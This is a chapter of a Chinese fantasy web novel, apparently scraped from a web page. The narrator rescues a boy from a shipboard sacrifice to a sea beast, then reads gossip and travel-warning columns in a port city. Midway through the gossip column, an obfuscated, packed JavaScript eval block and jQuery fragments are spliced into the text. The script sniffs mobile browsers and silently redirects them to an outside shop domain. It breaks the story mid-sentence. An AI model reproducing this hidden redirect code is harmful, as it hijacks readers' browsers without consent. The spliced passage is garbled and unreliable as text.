船身在剧烈摇晃,伴随着木材不堪重负的呻吟和货物滚动的闷响。咸涩的海水从缝隙渗入,混合着灰尘与铁锈的气味。
一种冰冷的预感攫住了我的心——外面出事了。我摸索着攀上湿滑的梯子,用尽力气顶开舱盖。
狂风与暴雨瞬间劈头盖脸砸来,几乎令我窒息。我有好几日没见到外界——正是夜里,长烬海上的世界失去了轮廓,只剩下狂暴的漆黑与震耳欲聋的喧嚣。墨色的浪涛像活过来的山峦,一次次将巨船抛起,又狠狠掼下。甲板上漫着及踝的海水,冰冷刺骨。惨白的闪电不时撕裂天幕,将一切映照得如同末日。
小呜呜窜了出去,奔向那群围起来的人。
我看见了阿十。
少年被两个水手粗暴地架着,拖向船舷。他依旧穿着那身破烂的灰褐短褐,湿透的布料紧贴在他单薄的身上。脸上没有任何表情,甚至连挣扎也无。只是那双幽深的眼眸,在闪电亮起的刹那,远远地、准确地望向了我的方向。
那眼神里没有恐惧,没有哀求。只有一片深不见底的、近乎认命的沉寂。
只听有人在啸叫,“祭烛!祭了烛就能平息风浪!不然咱们都得死!”
“就是,就是,一个流民,死了就当做点贡献——快扔吧!快点,不然都得死——”
我顶着风雨,顺着众人恐惧的目光回望,呼吸骤然停止。
在离船不到百丈的怒涛之中,一个庞大到令人灵魂战栗的轮廓破水而出。
巨大的蛇首上覆盖着层层叠叠、湿滑厚重的黑色鳞甲,每一片都大如盾牌,边缘在惨淡的闪电下,反射出青铜器腐朽般的、冰冷坚硬的光泽。巨大的、没有眼睑的幽绿色晶体,内里跃动的并非倒映的雷光,而是值得它锁定的“猎物”。
竟是——钩星的坐骑,烛。
就在我发愣时,两个船郎已经高高举起了阿十。
恰在此时,闪电再次惨白地照亮一切,少年苍白沉默的脸,船郎狰狞扭曲的面孔,船头紧握栏杆发白的指节,乘客们恐惧又急切的哭喊——以及那破浪而来、张开足以吞没整个船头的、布满螺旋利齿的深渊巨口——
“等等!”我抹掉脸上的雨水,死死攥住那船郎的衣服,“等等,烛——烛是食素的妖兽啊!”
巨大的海兽停了下来,死死盯着我。每一次呼吸,都会带来属于长烬海的气息。
众人呆住了。船郎被吓得尿了裤子,本能松开阿十,转身便跑。我顶着狂风走到船尾,向烛招招手。
这庞然巨兽垂下头,轻轻碰了一下我的手心,发出一声沉闷的呜咽。
“听话,烛。”我抚摸着它冰凉的鳞片,雨水混着泪水淌了满脸,“如果钩星问你,就说我走了。我想一个人哭一会儿,别找我,好么。”
“嗡——”
“去吧,下雨就别出来巡海了。”
烛向我喷了一口水汽,就这么调转头,沉入了海中。
那些劫后余生的人们或惊魂未定,或嚎啕大哭。而跌坐在地上的少年阿十,只是抬眼望着我,没什么太多的表情。
大雨在清晨到来前结束。我因游说了海兽烛而得到了优待:不需要补船票,还获得了一双旧鞋子。
当然,我谢绝了鞋子的好意——那十步外就能闻到气味的鞋子,我实在没胆量穿。身无分文的我,可没钱找郎中治脚气。
又是三天后。
终于到了刃柱城码头。我有些感慨,想起了与浩哥和阿烈的共同经历。我原本打算随人流下船,却见小呜呜在船上看热闹,于是便凑过去看看。
原来阿十正在向船头讨要工钱。这船头狡猾,非要以阿十没照看好货物、有损坏为由,扣其工钱——一千利衡币,却只给五百。
阿十虽然个头不高,脾气却很倔。于是双方就这么打了起来——确切说,是少年单方面被揍了一顿,扔下了船。
我先跳下船,拍拍小呜呜的脑袋。它“会意”地窜出去,不过一刻钟又折返。
嘴里叼着个钱袋子。
我大吃一惊,来不及多说,左手扶起阿十,右手捞起小呜呜,赶忙离开了漂浮着腥臭味的码头。
我数了数,不多不少,整整五百利衡币。我叹口气,递给正坐在地上喘息的少年。
“干什么?”
“谢谢你给我送水喝。”
少年却摇摇头,起身便一瘸一拐要走。走到巷子口,他又折返回来,看了眼我的赤脚,顶着两个乌黑的眼圈道,“我知道卖便宜货的地方。”
于是乎,我跟着少年来到了地下海市。
这里跟五十多年前比,更大更深了。唯一的区别是不见多少魔族——也是,魔界再度繁盛稳定,流浪在外的魔族早就回家去了。
一想起“家”这个字眼,我心里就一阵阵疼。
阿十给我挑好了一双衬脚的新鞋,自掏腰包花了五十利衡币。我便颓丧地坐在一旁等待。
守着杂货摊的老婆婆看着我试鞋子,突然问了一句,“姑娘,你也要去映山都选娘娘?”
我一头雾水地“啊”了一声。
接下来,这混迹在灰色地带、擅长耳听六路探听情报的阿婆,向我道出一个惊天大消息:因魔皇钩星的缔命是一个胖姑娘,所以这附近城邦的胖姑娘闻风而动,纷纷要去映山都,祈盼能被魔皇陛下选中,混个魔界的娘娘当一当。
甚至带火了原本无人问津的“三日肥白丹”。
“咦,听说魔皇喜欢又胖又白的丫头。”阿婆上下打量我,眼睛里冒着精光,“姑娘你倒是都合适——瞧这皮肤,又白又嫩,发光哩。”
好几个看热闹的摊主围了上来,照着我又是摸又是看。我因窘迫头冒冷汗,就差拔腿就逃了。阿十好似对这些不感兴趣,帮我试好鞋子后,径直将我带离了海市。
刃柱城依旧繁华,只是这繁华中又透着点诡异。时移世易,原本是魔族逃命来这里,现如今却掉了个个儿——大批凡人在抢购前往映山都的高价船票。
阿十在药铺前和掌柜讨价还价时,我便顺手拿起掌柜刚搁下的《三界通闻》看了起来。
好家伙,不看不知道。这《三界通闻》所载内容还挺杂,朝闻要录,写着当下三界的政讯;通衢驿讯,分享当前三界交通情况;仙界口碑榜,最新最准,打榜必备;稗海逸谭,民间野史趣闻应有尽有。
我眉头越皱越深,嘴巴也不由自主撅上了天。只因我在这稗海逸谭中看到的内容,震碎神智便罢了,更令人面红耳赤。
《三界通闻·稗海逸谭》
(本栏采撷巷陌闲谈,虚实相参,聊佐清欢)
缔命新解
〖……却说那魔皇陛下,纳了一位出身炊饼铺的姑娘为缔命。大婚当日,仪仗煌煌,万众俯首。及至夜深人静,红烛高烧,那新晋的尊上却端坐锦榻,对着满桌奇珍异果、琼浆玉露,抚腹轻叹,“陛下,这果子虽好,却不顶饿。”
魔皇冕旒已卸,玄衣半解,闻言怔然,“卿欲何食?”
“妾身……想念娘家后巷的牛肉火烧(此处广告位招租),刚出炉的,酥脆掉渣。”言罢,一双圆眼清澈望来。
寝殿内寂然半晌。窗外当值的魔将,只听得陛下轻咳一声,旋即一缕精纯魔元悄然遁入虚空。不过半柱香,一盘热腾腾、香喷喷,甚至用上等琉璃盏盛着的牛肉火烧,便出现在了蟠龙雕花的紫檀案上。
尊上顿时笑靥如花,拾起一枚,吃得满足。忽又抬头,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17628034|204291||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
唇边还沾着几点芝麻,正色道,“陛下,妾身还有一言。”
“讲。”
“这床帐……太沉,锦被……太滑,翻身硌得慌。不如妾身从家里带来的粗布褥子贴心。”她拍了拍身下足以买下半座城的流云锦,神情恳切,“明日能换否?”
侍立殿外、耳力通玄的内官,于死寂的夜色中,清晰地听见了一声极轻、极长,似叹似笑,又仿佛某种至高无上的威严与法则悄然崩开一道细缝的——
“……允。”〗
(编者按:市井笑谈,言魔皇新婚,不问道法,不论乾坤,唯解饥肠,唯铺床褥。或曰,此方为“缔结性命”之真谛乎?一笑。)
可、可恶!是谁写的这狗屁东西!
我涨红了脸,一把将这《三界通闻》揉成一团。那边,刚买了药膏的阿十闻声看来,不解地眯起肿胀的眼睛,不得已又给了一份二手的《通闻》钱。
找了个角落,我帮少年的眼圈上药膏时,他便趁机看起了叫我大失方寸的野闻。
“是写得你么?”
“不、不是我!”我连连摆手,“我不爱吃炊饼!要吃,也要吃甜味的!”
话脱口而出,我已经有些后悔了。
可我指尖下的少年目睹了我的窘迫和紧张,却忽然笑了。那笑容很淡,只是嘴角微微扬起,却让那张青紫肿胀的脸,莫名柔和了几分。
“我就知道是你。”阿十说,语气平静得像在陈述事实,“衣着华贵,手指如葱白似的,能与海□□谈,旁人都往映山都挤,你却反其道而行。”
“你别把我卖了。”我连忙把钱袋子塞给阿十,“这钱给你,就当封口费。”
这回,少年没有推拒,坦然收下钱袋子。他望了一眼跟在我脚边的小呜呜,问道,“你要去哪儿?人界现在有点乱,路不好走。”
我有些困惑,继而坐在阿十身边,探着脑袋与他一起看起了通衢驿讯的内容。
《三界通闻·通衢驿讯》
(本期讯息自驿鹄速递司与各楼汇总,有效期至下月初一)
【禁行令】
月下州、银柳城、玄洛城、归粟城四地即日起全域戒严,所有飞兽通行许可暂止,寻常路引一律无效。非持紧急公务文书者,严禁靠近上述四城百里之内。
【商路行情】
死人沟:近期路票(含护商符钱)极为紧俏,价格已翻三倍,各车马行配额有限。
刃柱城:船资(特别是具备防御阵法的楼船)连日高涨,然航道目前畅通,欲往者需备足资财并速决。
【风险预警】
琉璃渡:封山未解,渡口封闭,所有摆渡及借道事宜无限期延后,请勿前往空等。
悬歌城:紧急通告!该城及方圆五十里范围,现被不明“红雾”笼罩,雾中传有异响,入者皆失音讯,极度危险!各驿、渡、关均已接到严令,禁止一切人员靠近,切莫侥幸尝试!
怎么回事?人界出了什么事,为何乱糟糟的?
接下来,阿十告诉我的一些信息,彻底让我深刻感受到——五十年里,我到底错过了什么。
自人君舒尚即位后,迄今五十余载。为固守月下、银柳、玄洛、归粟四城,竟推行“铁瓮之策”,举人界财力物力尽倾,戍军倍徙。随之而兴的,乃百姓所称“血税”,凡丁壮必抽役,谓之“防妖”;田亩有“谷捐”,匠作有“火课”,市易有“利征”。
更预征赋税三十年,称“防妖预纳”。如今的人界,民力凋敝,典妻鬻子者不绝于道。
四城之外,诸城渐生离析。未湖矿山“枯竭”,千匠械器“多疵”,皆有抗令不纳之兆。眼下便是月下政令不行、人心浮动、裂痕日深的情形。